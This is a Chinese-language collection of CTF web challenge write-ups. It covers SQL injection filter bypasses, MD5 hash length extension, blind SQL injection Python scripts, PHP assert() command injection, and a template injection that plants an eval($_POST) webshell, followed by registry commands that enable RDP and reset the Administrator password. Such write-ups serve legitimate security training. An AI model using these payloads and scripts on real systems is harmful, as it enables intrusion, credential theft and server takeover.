ZJGSCTF-writeup

——ZJGSCTF——-
——持续更新中——-

[9-7]综合题

戳这里=w=

涉及范围:编码及Linux

9-7.1

页面乱码,猜测是一种编码方式,由 [ ] ! + ( ) { } 组成
参考 编码与加密
得出是jsfuck编码,百度 在线解码
解码得出:1bc29b36f623ba82aaf6724fd3b16718.php
原地址去掉index.php,加上1bc29b36f623ba82aaf6724fd3b16718.php,访问

9-7.2

脑袋,猜测地址1bc29b36f623ba82aaf6724fd3b16718.php的前部分32位为MD5编码
对其试解码得:MD5
考虑原地址b0b0ad119f425408fc3d45253137d33d为MD5解码,解码失败。
再进行了访问MD5.php等方法,无果,有点无从下手。
退档重新思考,再看提示,发现掉坑里,tip在我脑袋里应该是指包的头部,burpsuite抓包发现tip

9.7.3

百度 history of bash
于是访问 ./.bash_history

9-7.4

有过一次压缩文件命令,访问 ./flagbak.zip
下载解压,得到flag

[8-31]水能载舟亦可赛艇

戳这里=w=

涉及范围:php源码,sql注入

1

看到页面,好像典型的sql注入,但是web日常先看源码

2

好像有点提示,尝试去url访问source.txt,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "浜﹀彲璧涜墖锛�";
}
}else{
print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

分析源码:

  • 第一大块是判断两个变量uname,pwd是否为空。
  • 第二大块是进行了sql过滤。
  • 第三大块查询了数据库,flag被两个if包括着,第一个if限定查询结果只有一行,第二个if要求pwd相等

由于sql过滤严格,sql注入尝试无果。
考虑从pwd相等入手,利用 or,limit offset, # 先过滤第一个if

1
'or '1'='1' limit 1 offset 0 #

第二个if 用到 group bywith rollup (rollup–>汇总,使group by的列的值为null,汇总其他列的数值)
利用这两个函数,构造 null = null

1
'or '1'='1' group by pwd with rollup limit 1 offset 0#

offset 0 到 n 尝试得到我们汇总 pwd = null 的那一行
同时使 pwd = null (不是填写null,空着就好)


4

[9.18]有点意思吧

戳这里=w=

涉及范围:php源码,hash长度扩展攻击

抓包,source这个参数有点奇怪,尝试改为1,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}

分析源码:

  • 第一个if:要求cookie里的getmein不为空
  • 第二个if:username 等于 admin ; password 不等于 ‘admin’
  • 第三个if:getmein 等于 未知15位secret+username+password 的MD5

因为MD5,url解码,一开始以为是php语言漏洞,诸多尝试无果。
仔细收集已有信息,分析问题如下
未知15位secret+’admin’+’admin’ 的hash
未知15位secret+’admin’+password 的hash
查阅资料,新的知识盲区,密码学知识: hash长度扩展攻击
之后的题解就参考别人的吧:

然后是给自己以后看,方便回忆的粗糙原理手绘图QAQ
hash长度攻击,png

  • 512位的分组后面第一位写1,再补零,后64位写原来的长度,使之生成的MD5与secretadminadmin的完全一致
  • 本地生成MD5时,512位的分组随便填写,最后一次变换的ABCD值用secretadminadmin的MD5值转变来(高地位互换),之所以要512位的分组是让最后填充的长度数值相同

有点意思吧2

戳这里=w=
此题前提:[9.18]有点意思吧

涉及范围:目录遍历,file命令,.swp,php源码,hash长度攻击,脚本


1

web日常1:先看源码,没啥东西。
web日常2:跑目录——用字典替换url后缀,访问,查看是否成功。可用burpsuite+字典 或 工具


2

(多线程 HTTPConnectionPool问题 暂未解决)
看到index.php~,访问,下载过来一个文件
文件日常:拉到kali下用file,binwalk 判断文件类型和有没有隐藏 (后缀是~,和开头是 . 的文件在桌面不直接显示,需要ls查看)


3

vim的swp格式:vim编写的文件可能会有错误遗留文件:data.php –> .data.php.swp (若修改文件再次错误 后缀变为.swo .swn 尾字母向前推移)

index.php~加上.swp后缀。用vim -r index.php~.swp 恢复读写模式可以打开,得到页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is“
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

serialize与unserialize函数 strrev函数
结合抓包,分析源码:

  • 要求 role不为空 ,此处必然满足,不考虑
  • 要求 role反序列化后 === ‘admin’
  • 要求 MD5(salt.role的反转字符串) === hsh
  • 已知 MD5($salt.”;”tseug”:5:s“) = 3a4727d57463f122833d9e732f94e4e0
    解决第一个反序列化后相等,利用php在线测试序列化与反序列化的特性及漏洞:

4

序列化:根据数据结构变成特定的字符串,s为str,i为int,{ }为数组等等。
反序列化:根据开头判断数据结构类型,只会读取该结构内的字符,后面的字符不做处理。

根据以上特性,使role开头 = s:5”admin”; 就可满足条件。


解决第二个HASH相等,根据hash长度攻击的要求:

  • 因为反转,role的末尾需要 = s:5”guest”;
  • salt的长度未知,考虑利用python脚本暴力破解

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# encoding=utf8
# md5($salt." ;"tseug":5:s ") = 3a4727d57463f122833d9e732f94e4e0
# md5($salt." ;"tseug":5:s xxxxx ;"nimda":5:s ") = xxxxxxxxxxxxxxxxxxxxxxxxxxxxx
import requests
import hashpumpy
import urllib

hexdigest = "3a4727d57463f122833d9e732f94e4e0";
original_data = ";\"tseug\":5:s";
data_to_add = ";\"nimda\":5:s";
url="http://web.jarvisoj.com:32778";

#设置key_length的范围
for key_length in xrange(1,15):
result = hashpumpy.hashpump(hexdigest,original_data,data_to_add,key_length);

role_re = result[1][::-1]; #16进制\x80 代表一个字符 可以直接对换
role = urllib.quote(role_re); #16进制直接url编码得到 %xx
hsh = result[0];
cookies = {'role':role,'hsh':hsh};

response = requests.get(url,cookies=cookies);
if response.headers['Content-Length'] != '210' :
print key_length
print response.text
break;
else :
print key_length

运行结果如下:


5

[9.1]看起来有点难啊

戳这里=w=

涉及范围:sql盲注

哎,做完之后感想,还是才学疏浅没有脑洞的J,第一步就卡死了。
进行以下sql注入尝试,尝试得到两种返回状况

1
2
3
4
5
6
7
8
9
admin= 1’ and '1'='1' --+ pwd=1

admin= 1’ or '1'='1' --+ pwd=1

admin= admin‘ and '1'='1' --+ pwd=1

admin= admin' and '1'='2' --+ pwd=1

admin= admin’

总结出题目的三种返回状态:

  • 数据库链接失败!:从数据库返回0行
  • 登录失败,错误的用户名和密码:从数据库有返回
  • 空白: sql语句错误

有小朋友可能要提出,为啥要试admin呀,我一开始就是没有想到试admin,也没有用 or 找到三种返回的规律,两脸蒙蔽。
但是只要想到 1’ or ‘1’=’1‘ and 巴拉巴拉 --+ 一样可以得到两种返回状态,只不过再需要盲注一下username得出admin
于是就是布尔型盲注

然后就盲注套路走起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#判断列
sql_column="admin' and column is not null" #替换column 得到 username password

#判断表
sql_table="admin' and table.column is not null" #替换table 得到 admin

#列出password
sql="admin' and ascii(substring(password,%s,1))-%s -- "

sql=“admin' and substring(password,1,1)= 'i' -- ”
sql=“admin' and ascii(substring(password,1,1)) = '123' -- ”
sql=“admin' and password like 'i%' -- ”
sql=“admin' and password = 'flag' -- ”
sql=“admin' and ascii(substring(password,%s,1))-10 -- ”
sql=“admin' and case when(substr(password,%s,1)='i') then sleep(10) else sleep(0) -- ”
sql=“admin' and if(substr(password,%s,1)='i') ,sleep(10) , sleep(0) -- ”

另外在此题中不能使用select,简单尝试过滤无效,就不用类似"admin' and (select password from table)>0"注入。

最后贴上跑username和password的代码,注意

  • 访问太频繁会被禁止访问,考虑sleep或改参数几位几位跑
  • 页面编码不同无法直接显示匹配字符,右键返回页面查看源码发现是GB2312,解码匹配
  • chr() : ascii–>字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding:utf-8
import requests

url="http://ctf5.shiyanbar.com/basic/inject/index.php"
#列出password
sql="admin' and ascii(substring(password,%s,1))-%s -- "

def exp(i,x):
data={'admin':sql %(i,x),'pass':'admin','action':'login'}
response=requests.get(url,params=data)
#print response.content.decode('GB2312')
if response.content.decode('GB2312').find('数据库')>0:
return 1
else :
return 0

key=''
print('start')
for i in range(1,50):
print i
for x in xrange(30,150):
print(x),
if exp(i,x)==1 :
key += chr(x)
print(key)
break

脚本出username,password直接提交得到FLAG。

哎….常规套路的题目做了半天………QAQ

皇家邮电平台

戳这里=w=

涉及范围:源码泄露,本地文件包含,sql注入,后门利用

这题题目步骤以及源码较多,自己写需要花大力气,查到两篇不错的writeup,互补贴用了。
题解1
题解2(ctrl+f 皇家)
大致记录一下解题的点:

  • 观察各个页面的源代码,发现file=sm.txt,修改参数得到各个页面的源码
  • 分析源码,得到更多页面,发现后台登录页面;
  • 分析源码,sql只过滤一遍,过滤不严格,sql注入点在so.php
  • 根据提示爆破账号密码
  • 后台登录界面登录,得到回调木马
  • 利用木马遍历目录,得到flag

这题环环相扣,漏掉一点都无法继续,也有很多多余的杂乱信息。
从分析页面到getshell,可以说是比较现实的WEB渗透了。
对后门我也是只懂皮毛….贴上找到的知识贴——关于各种后门
放上自己的注入代码:

1
2
爆破账号密码:
soid=chacharr(49)/**/anandd/**/(seselectlect/**/ascii(substring(userpaspasss,1,1))/**/ffromrom/**/aadmindmin)<>1

Q&A

遍历后的出现目录的页面 乱码 :下载页面,到sublime中换编译方式打开即可


还有好长的路呢…..慢慢学习嗯

babyphp

戳这里=w=

.git信息泄露 hackgit php字符串拼接注入

全程知识盲区…
about页面得知用到git
git的配置不当有可能导致.git信息泄露,漏洞表现:

  • 可以查看 .git .git/objects
  • 可以下载 .git/index
    利用githack尝试下载源码,有一些php,找到目标flag.php

index.php其中关键源码:
‘’’php
<?php
if (isset($_GET[‘page’])) {
$page = $_GET[‘page’];
} else {
$page = “home”;
}
$file = “templates/“ . $page . “.php”;
assert(“strpos(‘$file’, ‘..’) === false”) or die(“Detected hacking attempt!”);
assert(“file_exists(‘$file’)”) or die(“That file doesn’t exist!”);
?>
‘’’

咋一看并没有什么软用,但是

  • 可以控制$page的值
  • php神奇的特性,字符串链接命令,命令可以执行
    字符串链接
  • 与sql注入原理相同的php拼接写入代码

payload(为了清楚,变量不写””):
‘’’php
$page = ‘.system(“ls ./templates”).’ ;
$file(合并后) = templates/‘.system(“ls ./templates”).’..php ;
assert(“strpos(‘templates/.’ . system(“ls ./templates”) . ‘..php’ , ‘..’ ) === false”)
‘’’
由于assert函数,会把””中的语句当做php代码执行,所以可以在其中用//注释””后面乱七八糟的语句,自己构筑代码
所以给出另一个payload
‘’’php
$page = ‘, ‘..’) === false and system(‘cat ./templates/flag.php’); // ;
$file(合并后) = templates/‘, ‘..’) === false and system(‘cat ./templates/flag.php’); //.php ;
assert( “strpos(‘templates/‘ , ‘..’) === false and system(‘cat ./templates/flag.php’); //.php’, ‘..’ ) === false” );
‘’’
两种payload都可以在system(" ")中可以执行任意linux命令
flag.php返回需要查看源码才能看到…….嗯..绝望卡了两年

俄罗斯方块

戳这里=w=

js代码 jsFuck

一开始推断是到分数有服务器返回什么,抓包尝试修改无效。
源码找到tetris.js
js代码格式化后阅读代码,找到关键代码:

1
2
3
4
5
6
7
this.mayAdd = function(a) {
if (this.scores.length < this.maxscores) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)),
!0;
for (var b = this.scores.length - 1; 0 <= b; --b) if (this.scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey", "webqwer" [1] + "100.js", 864E5)),
!0;
return ! 1
};

如果满足1E6 < a执行a.set("urlkey", "webqwer" [1] + "100.js", 864E5)
此处传入三个参数“urlkey”“e100.js”,864ES
查看set函数

1
2
3
4
5
6
7
8
9
this.set = function(b, d, a, c, e, f) {
this.del(b);
c || (c = "/");
b = b + "=" + escape(d);
a && (a = new Date((new Date).getTime() + 1E3 * a), b += "; expires=" + a.toGMTString());
b = b + (c ? ";\tpath=" + c: "") + (e ? ";\tdomain=" + e: "");
b += f ? ";\tsecure": "";
document.cookie = b
};

发现函数应该是传入5个参数,有问题。
一个坑,其实三个参数只是提示,并不是可以执行的。
urlkey —> url地址访问e100.js 864ES忽略
jsfuck
jsfuck编码,这里
得到flag

全球某工商CTF-安全系的博客

戳这里=w=

后台 伪验证 sql注入 登录 模板注入攻击 菜刀

很厉害的一个网页,随便点点没什么发现。
右键源码一个个看,没什么发现。
上工具SourceLeakHacker跑目录


跑目录

先尝试访问200(正确返回),没有可用信息
再尝试访问303(跳转),找到/admin跳转至后台登录界面/admin-sign
随意试着登录,有逐层递进四种返回状态:
+ 参数不能为空!:判断参数是否为空
+ 验证码不正确!:判断验证码
+ 用户名不存在!:判断用户名是否存在
+ 用户认证失败!:判断密码是否正确
先要解决验证码问题,抓包发现,发送账号密码验证码等信息后会再发一个请求包,来修改验证码图片

验证码包

丢弃这个包,验证码不再发生变化,等于绕过了验证
尝试sql注入
在用户名处发现注入点
admin' and '1'='1 返回 用户认证失败
admin' and '1'='2 返回 用户名不存在
ps.关于解码/u 在返回包中有写着charset=UTF-8,在python中urllib.unquote(b)即可
boolean型盲注password,给出脚本代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#coding:utf-8
import requests
import urllib

url="http://10.21.13.225/admin-sign/login"

payloads="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM,./;'[]\_@!#$%^&*()-=+~`[];'./"


#判断列
sql_column="admin' and column is not null--+" #替换column 得到 password
#列出password
sql="admin' and ascii(substring(password,%s,1))=%s-- "

cookies = dict(ci_session='b9de57e065184832d04df4c4aa18242f13e04d89')
#headers = {"Content-Type": "application/x-www-form-urlencoded"}
def exp(i,x):
data={'username':sql %(i,x),'password':'21232f297a57a5a743894a0e4a801fc3','verify':'学商商浙浙商'}
response=requests.post(url,cookies=cookies,data=data)
#print response.content
if response.text.find('\u8ba4') != -1:
return 1
else :
return 0


key=''
print('start')
for i in range(1,59):
print i
for x in xrange(30,151):
if exp(i,x)==1 :
key += chr(x)
print(key)
break

得到admin的密码MD5为1c63129ae9db9c60c3e8aa94d3e00495
直接登录到后台。
发现修改语言里面的东西没有权限。
发现有管理员账号orleven平行越权修改管理员密码。
平行越权:设置-修改密码,抓包修改admin为orleven。
登录进入中文的编辑语言界面。(如果选英文的需要设置为启动,不然之后菜刀连接不上界面)
尝试模板注入漏洞,后尾加入";phpinfo();"闭合前后引号

页面变化,说明修改了代码可以执行
再加入菜刀php木马";@eval($_POST['Cknife']);"
连上菜刀




可以直接在桌面上找到flag
或者继续:

切换到菜刀终端模式,开启远程连接3389端口

1
2
3
4
删除注册表
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f
添加注册表
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

修改密码net user Administrator (复杂的密码)
打开远程桌面连接,账号administrator 密码
桌面上得到flag